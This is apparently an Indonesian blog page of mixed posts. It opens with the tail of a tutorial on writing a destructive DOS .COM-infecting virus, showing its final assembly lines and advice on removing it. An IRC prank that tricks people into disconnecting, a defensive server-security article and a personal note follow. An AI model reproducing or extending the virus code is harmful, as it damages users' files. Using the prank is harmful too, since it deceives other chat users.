jnc Back ; Jika Ditemukan, Lompat

Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya.

mov ah,9h ; Tulis Pesan
mov dx,offset Data ; Data Ke Layar
int 21h ;

Done: int 20h ; Terminate Program
Filename db "*.com",0
Data db " File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last label near
end start

Setelah semua file yang terdapat pada direktory aktif tertular, tampilkanlah pesan kelayar komputer ”File Pada Direktory ini Telah Terserang Virus Semuanya".

Mencegah Dan membasmi Virus 001
Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk membasmi virus ini tidak ada jalan lain kecuali dengan menghapus program Com yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat menggunakan perintah ”Find” dari dos untuk mencari kata-kata tersebut.

Dari contoh virus yang pertama ini, dapat Anda lihat bahwa dengan mengerti cara kerja dari sebuah virus, Anda bahkan dapat membasminya tanpa programming sama sekali. Dengan memanfaatkan program umum, seperti program find.exe yang disertakan pada saat instalasi dos Anda dapat menjadikannya alat untuk mendeteksi dan membasmi virus. Mudah bukan ?!

Ni Cara Ngerjain Temen di IRC


Buat anda yang suka chatting di mirc, perintah /Quit tentunya sudah tidak asing. Apa arti dari perintah ini ? yah, anda akan keluar dari mirc yang artinya anda akan keluar dari semua channel yang anda join. Pada saat anda mengetikkan perintah ini di channel tentunya tidak akan keluar apa-apa karena ini adalah perintah internal mirc sehingga tidak di keluarkan pada channel.

Dengan sedikit trik anda bisa mengetikkan perintah ini dan hasilnya adalah seperti anda mengetikkan kata-kata biasa di channel. Anda bisa membodohi teman-teman anda yang di channel untuk mengetikkan perintah ini, caranya ? ada 2 cara yang bisa anda lakukan. Pertama Tekan tombol Alt+255 kemudian ketik /quit. Hasilnya adalah spasi di ikuti oleh perintah /quit muncul di channel. Anda sendiri tidak akan quit, dan bisa anda katakan bahwa dengan ditambahin spasi maka mereka tidak akan quit dari channel dan saat mereka mencoba... BINGO !!! mereka langsung quit dari semua channel ..hahaha ;)

Cara kedua bisa anda lakukan dengan penekanan tombol Ctrl + K dimana akan muncul kotak untuk memilih warna. Setelah muncul kotak, anda jangan memilih warna tapi langsung saja mengetikkan perintah /Quit dan enter. Hasilnya adalah perintah /Quit muncul di channel tanpa spasi dan anda tidak quit dari channel... hehehehe menarik bukan ? anda bisa membuat kontes untuk orang-orang di channel mirc.... selamat mencoba

Mengetahui resiko keamanan sebuah server


Artikel ini tidak akan berbicara mengenai teknik membobol sebuah server tapi dibuat untuk Anda yang ingin menambah wawasan dan berdiskusi tentang tingkat resiko keamanan sebuah komputer.

Tidak ada maksud lain bagi saya, kecuali membagi sedikit pengetahuan yang saya punya kepada orang lain.

Jika diamati berita seputar keamanan internet, maka banyak sekali informasi tentang bug/hole ataupun exploit yang beredar di Internet. Semuanya hadir dengan informasi yang cukup detail dan membuat SysAdmin harus terus berlomba dengan para Cracker/Hacker dalam mengamankan server yang dikelola.

Jika diamati banyak sekali cara yang dilakukan oleh cracker untuk masuk ke sebuah komputer. Cara yang tercepat dan paling mudah serta yang dulu paling sering dilakukan adalah dengan menggunakan exploit yang sudah tersedia di internet. Instant sekali. Kita cukup cari target, scanning, compile exploit, execute exploit dan hapalkan dasar-dasar perintah OS yang digunakan, so anda sudah memiliki server tersebut.

Secara garis besar exploit yang dipergunakan oleh cracker untuk masuk ke sebuah server dapat dibagi dalam dua bagian yaitu :

1. Lokal Exploit
Yang dimaksud dengan lokal exploit adalah exploit yang hanya dapat diexecute pada komputer itu sendiri. Artinya exploit ini tidak dapat diexecute dari komputer pribadi untuk memasuki komputer lain. Biasanya lokal exploit diexecute dan akan bisa menguasai sistem dengan memanfaatkan kelemahan yang ada pada sistem operasi ataupun pada aplikasi yang dijalankan oleh server.

2. Remote Exploit
Remote exploit adalah exploit yang dapat diexecute dari jarak jauh. Artinya dengan menggunakan exploit ini, maka anda dapat masuk ke komputer lain melalui komputer pribadi dengan memanfaatkan kelemahan aplikasi yang berjalan di komputer lain tersebut. Bagi sebagian orang lebih menyenangkan untuk menggunakan remote exploit daripada lokal exploit karena biasanya remote exploit juga bisa menjadi lokal exploit dan tidak berlaku sebaliknya.

Terlepas dari itu semua, sebenarnya ada resiko keamanan yang tetap dimiliki sebuah komputer ketika telah berisikan Sistem Operasi beserta aplikasi yang digunakan. Sebagai contoh, ketika kita telah menginstall sebuah server dengan Sistem Operasi Linux Redhat 7.0 dengan berbagai aplikasi misalkan apache web server, database mysql dan php. Maka Anda sebagai SysAdmin secara 'sadar' telah membuka diri (komputer server) kepada orang orang lain agar dapat berkomunikasi dengannya. Ada satu pameo yang saya ingat, bahwa tidak ada satupun komputer yang aman ketika sudah terkoneksi dengan sebuah jaringan. Apalagi jika jaringannya adalah internet!. Dan ini juga berlaku untuk server yang telah kita koneksikan ke internet.

Dari contoh di atas, ada beberapa hal yang menjadi catatan penting bagi saya dan (mungkin) ini akan menjadi pedoman penting bagi SysAdmin untuk tahu tingkat resiko keamanan pada server yang ia kelola. Misalkan saja informasi server yang dikelola seperti tercantum di bawah ini :

1. Sistem Operasi yang digunakan adalah Redhat Linux 7.0
2. Aplikasi Web Server yang digunakan adalah Apache Web Server (Misalkan saja versi 1.3.20)
3. Database Mysql versi 3.2.23
4. PHP Engine versi 4.1.x
5. Aplikasi web base yang menggunakan PHP dan MySQL.

Jika digambarkan dalam bentuk diagram pohon kurang lebihnya adalah sebagai berikut :


+ Sistem Operasi [Level 1] :
+ Apache [Level 2]
+ Engine PHP [Level 3]
+ Aplikasi Web Based/Scripting PHP [Level 4]
+ MySQL [Level 2]


Dari informasi spesifikasi diatas maka dapat diketahui tingkat keamanan komputer tersebut :

1. Keamanan pada Sistem Operasi (Versi Kernel yang digunakan) -Tingkat Keamanan Level 1-
Jantung dari sistem operasi linux adalah kernel. Kesalahan pemrograman yang terjadi pada kernel akan berakibat fatal dengan tidak berjalannya sistem secara maksimal. Untuk hal ini coba cari tahu kernel yang digunakan versi berapa dan apakah memiliki bug/hole?. Jika memang terbukti memiliki bug/hole, maka sebaiknya secepatnya di upgrade dengan versi yang lebih tinggi. Biasanya pada level ini lokal exploit yang paling sering berperan untuk mendapatkan akses ke sebuah sistem, walaupun tidak menutup kemungkinan bagi remote exploit untuk mendapatkannya.

2. Keamanan pada Aplikasi Web Server (Versi Apache yang digunakan) -Tingkat Keamanan Level 2-
Apache adalah salah satu aplikasi web server yang banyak digunakan di dunia. Pada level ini yang harus anda perhatikan adalah versi apache yang digunakan. Jika memang terbukti versi ini memiliki bug/hole, segeralah upgrade apache yang anda miliki.
Sesuaikan lagi konfigurasi apache dengan keinginan anda. Matikan module-module apache yang memang tidak digunakan. Ganti username dan group aplikasi ini ke user yang tidak memiliki akses shell seperti nobody. Jangan pasrahkan konfigurasi apache dengan konfigurasi default dari proses instalasi. Pada level ini exploit yang paling sering dipergunakan adalah remote exploit, karena pada level ini aplikasi apache terbuka pada port 80, sehingga ada kemungkinan untuk dibobol/disusupi dari jarak jauh.

3. Keamanan pada Aplikasi MySQL (versi MySQL yang digunakan) -Tingkat Keamanan Level 2-
MySQL adalah salah satu database SQL yang cukup populer dan banyak dipergunakan di internet. Integrasinya yang simple, clean and fast dengan PHP membuktikan salah satu kelebihan PHP untuk menguasai pasar aplikasi berbasis web based. Tidak berbeda jauh dengan Apache dan PHP, maka hal terpenting yang harus dilihat disini adalah versi MySQL yang anda gunakan. Pastikan bahwa pada versi ini tidak memiliki bug/hole. Hal lainnya yang perlu menjadi perhatian adalah segera merubah password default administrator database MySQL. Default instalasi MySQL memberikan hak akses kepada user root dengan priveleges penuh dan tanpa password!. Bayangkan jika anda lalai untuk merubahnya?
Jika database ini terkoneksi dengan internet/web, buatlah user MySQL dengan priveleges yang berbeda dengan priveleges administrator (don't ask me how to do this, please ask to uncle google :)). Database MySQL membuka port 3306. Sehingga ada kemungkinan untuk di exploitasi dengan menggunakan remote exploit ataupun lokal exploit.

Secara umum pada level 2 yang harus diperhatikan bahwa semua exploit yang beredar di internet sangat banyak sekali yang memanfaatkan bug/hole pada level aplikasi. Anda dapat mengikuti berita keamanan aplikasi yang anda gunakan melalui situs-situs resmi aplikasi tersebut. Disini dibutuhkan kecermatan dan kecepatan anda dalam mengikuti informasi tentang keamanan internet. Jangan pernah lupa untuk mengupgrade, jika memang situs resmi aplikasi tersebut menyarankannya. Jadi pada level ini salah satu cara untuk menghindari berperang dengan cracker adalah dengan selalu mengikuti berita/news untuk aplikasi yang anda jalankan. Lengah sedikit, bisa jadi server anda yang menjadi target :-).

4. Keamanan pada Aplikasi PHP (Versi PHP yang digunakan) -Tingkat Keamanan Level 3-
PHP adalah sebuah bahasa pemrograman yang saat ini banyak sekali dipergunakan di internet. banyak sekali situs komersial yang menggunakan PHP agar situsnya terlihat dinamis dan lebih interaktif. Namun pada level 2, PHP yang dibicarakan disini bukan pada kode pemrograman (scripting) yang telah dilakukan, namun pada engine PHP yang digunakan. Sama seperti pada apache di level ini harus diperhatikan apakah versi php yang digunakan memiliki bug/hole. Jika memang terbukti segeralah uprade versi php tersebut. Selain itu jangan serahkan konfigurasi php pada hasil default instalasi. Rubahlah beberapa variabelnya sesuai dengan keinginan anda. Beberapa hal yang terpenting pada konfigurasi php antara lain adalah SAFE_MODE dan REGISTER_GLOBAL. Cobalah bertanya lebih lanjut tentang konfigurasi PHP pada paman google :-). AFAIK, engine PHP tidak dapat diexploitasi dengan remote exploit karena engine PHP tidak pernah membuka diri pada port tertentu. Jadi kalaupun ingin mengexploitasi engine!
PHP hanya dapat menggunakan lokal exploit. CMIIW.

5. Keamanan pada Aplikasi Web Based yang berjalan -Tingkat Keamanan Level 4-
Membangun sebuah aplikasi yang berbasis web adalah hal yang menyenangkan. Bagaimana tidak?, dengan membangun aplikasi berbasis web, maka aplikasi tersebut akan berjalan pada berbagai platform sistem operasi, selain itu untuk pengembangan lebih lanjut juga akan mudah sekali. Namun dibalik itu semua, ternyata aplikasi berbasis web juga menyimpan sebuah bahaya yang sangat besar bagi keamanan komputer. Tercatat pada memori saya beberapa hal yang dapat dilakukan hanya karena kesalahan scripting aplikasi web based, antara lain :

1. Mengupload file seperti eggdrop, psybnc, dll.
2. Mendownload backdoor seperti bindtty, yang berakibat cracker akan memiliki akses shell dan selanjutnya tinggal mencari lokal exploit.
3. Mengacak-acak database MySQL
4. Mengintip nama-nama user yang berada pada /etc/passwd
5. Mendefaced website

Sehebat apapun proteksi sebuah sistem tidak dapat menutupi kelemahan yang ada pada aplikasi web based. Salah satu contoh konkret yang terlihat sampai dengan saat ini adalah bobolnya Situs KPU karena bug/hole SQL Injection. Dani Firman Syah a.k.a xnuxer berhasil dengan baik memanfaatkan kesalahan scripting yang dilakukan oleh Tim IT KPU, sehingga dia berhasil merubah nama-nama partai yang ada dalam database.

Kelemahan web based biasanya bisa terjadi karena :

a. Kurang mampu dalam menganalis algoritma pemrograman web based.
b. Penggunaan fungsi-fungsi pemrograman web based yang tidak sesuai dengan tempatnya.
c. Ketidakhati-hatian dalam menggunakan CMS yang sudah jadi seperti Php-Nuke, Post-Nuke, Mambo, dll.
d. Tidak adanya perbedaan method POST dan GET pada aplikasi web based yang digunakan
e. Masih banyak lagi yang lain :)

Saran saya untuk level ini (jika anda membuat sendiri aplikasi web based). Coba dan cobalah terus berlatih untuk membuat sebuah algoritma pemrograman web yang 'bersih', 'rapi', 'teratur' dan sesuai dengan fungsinya. Jangan pernah merasa bahwa aplikasi yang anda buat adalah aplikasi yang handal dan tidak bisa ditembus orang lain. Kalau perlu mintalah tolong kepada orang lain untuk mengecek algoritma pemrograman anda dan mengetest kode pemrograman anda. Jangan publish aplikasi web based tersebut jika anda belum yakin dengan algoritma yang telah anda susun.

Jika menggunakan CMS yang sudah jadi, cobalah ikuti berita bug/hole yang dimilikinya. Sampai dengan saat ini seperti Php-Nuke sudah sering sekali memiliki kelemahan pada bug/hole SQL injection. Kelemahan yang ada pada Php-Nuke ini dimanfaatkan beberapa gelintir orang untuk membuat remote exploitnya yang berbasis pada pemrograman perl ataupun php. Untuk hal ini saya cuma bisa menyarankan jangan pernah anda lengah dengan menggunakan versi CMS yang ternyata memiliki bug/hole :).

Untuk lebih tahu detail tentang bahayanya aplikasi web based dengan menggunakan PHP, silahkan buka arsip diskusi milis jasakom-perjuangan@yahoogroups.com beberapa bulan yang lalu, disitu dibahas tentang bahayanya beberapa hal seperti GET, POST, INCLUDE, REFERRER (based on PHP), atau kalau belum puas silahkan cari tutorial di google untuk membuat aplikasi web based yang 'bersih'.

DONE! *end of article*

Jumat, 12 September 2008

gw udah pindaj gwe...

HORE SENENGNYA gw ..
SKRG GW BISA OL PUAS BGT>>>>>
CZ DI KANTOR W....

SPEEDNYA MPE 2.5 Mbps...